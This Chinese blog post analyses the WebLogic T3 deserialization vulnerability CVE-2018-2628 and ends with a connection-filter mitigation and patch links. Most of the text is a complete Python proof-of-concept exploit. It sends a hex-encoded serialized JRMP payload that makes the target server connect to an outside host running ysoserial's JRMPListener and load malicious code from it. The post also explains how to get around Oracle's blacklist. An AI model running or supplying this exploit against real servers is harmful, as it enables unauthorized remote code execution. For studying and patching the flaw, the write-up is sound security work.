[CVE-2018-2628]weblogic反序列化漏洞

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所属分类:javasec_cn 代码审计
摘要

当地时间4月17日,北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628),通过该漏洞,攻击者可以在未授权的情况下远程执行代码。

当地时间4月17日,北京时间4月18日凌晨,Oracle官方发布了4月份的关键补丁更新CPU(Critical Patch Update),其中包含一个高危的Weblogic反序列化漏洞(CVE-2018-2628),通过该漏洞,攻击者可以在未授权的情况下远程执行代码。

漏洞影响范围

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

漏洞证明:
Weblogic已经将互联网暴露的PoC都已经加入了黑名单,如果要绕过他的黑名单的限制就只能自己动手构造。来看看InboundMsgAbbrev中resolveProxyClass的实现,resolveProxyClass是处理rmi接口类型的,只判断了java.rmi.registry.Registry,其实随便找一个rmi接口即可绕过。

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {    String[] arr$ = interfaces;    int len$ = interfaces.length;     for(int i$ = 0; i$ < len$; ++i$) {       String intf = arr$[i$];       if(intf.equals("java.rmi.registry.Registry")) {          throw new InvalidObjectException("Unauthorized proxy deserialization");       }    }     return super.resolveProxyClass(interfaces); } 

其实核心部分就是JRMP(Java Remote Methodprotocol),在这个PoC中会序列化一个RemoteObjectInvocationHandler,它会利用UnicastRef建立到远端的tcp连接获取RMI registry,加载回来再利用readObject解析,从而造成反序列化远程代码执行。

第一步发送测试PoC,PoC中远程连接的服务器地址就是第二步中所使用的服务器,攻击的ip是192.168.3.103的7001端口上的T3服务,该服务会解包Object结构,通过一步步的readObject去第二步服务器上的1099端口请求恶意封装的代码,然后在本地弹出计算器。

第二步在远程服务器上启用ysoserial.exploit.JRMPListener,JRMPListener会将含有恶意代码的payload发送回请求方。
poc:

#!env python #coding=utf-8 import socket import time import re   VUL=['CVE-2018-2628'] PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078'] VER_SIG=['//$Proxy[0-9]+']  def t3handshake(sock,server_addr):     sock.connect(server_addr)     sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))     time.sleep(1)     sock.recv(1024)     print 'handshake successful'  def buildT3RequestObject(sock,port):     data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'     data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))     data3 = '1a7727000d3234322e323134'     data4 = '2e312e32353461863d1d0000000078'     for d in [data1,data2,data3,data4]:         sock.send(d.decode('hex'))     time.sleep(2)     print 'send request payload successful,recv length:%d'%(len(sock.recv(2048)))   def sendEvilObjData(sock,data):     payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'     payload+=data     payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'     payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)     sock.send(payload.decode('hex'))     time.sleep(2)     sock.send(payload.decode('hex'))     res = ''     try:         while True:             res += sock.recv(4096)             time.sleep(0.1)     except Exception as e:         pass     return res  def checkVul(res,server_addr,index):     p=re.findall(VER_SIG[index], res, re.S)     if len(p)>0:         print '%s:%d is vul %s'%(server_addr[0],server_addr[1],VUL[index])     else:         print '%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index])   def run(dip,dport,index):     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)     ##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整     sock.settimeout(65)     server_addr = (dip, dport)     t3handshake(sock,server_addr)     buildT3RequestObject(sock,dport)     rs=sendEvilObjData(sock,PAYLOAD[index])     print 'rs',rs     checkVul(rs,server_addr,index)   if __name__=="__main__":     dip = '127.0.0.1'     dport = 7001     run(dip,dport,0) 

漏洞参考信息:
http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

漏洞修复:

缓解措施:
1.进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置
[CVE-2018-2628]weblogic反序列化漏洞
2.在连接筛选器中输入:weblogic.security.net.ConnectionFilterImpl,在连接筛选器规则中输入:* * 7001 deny t3 t3s
[CVE-2018-2628]weblogic反序列化漏洞

3.保存后规则即可生效,无需重新启动。
[CVE-2018-2628]weblogic反序列化漏洞

正式补丁:
http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html

参考信息:
https://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA

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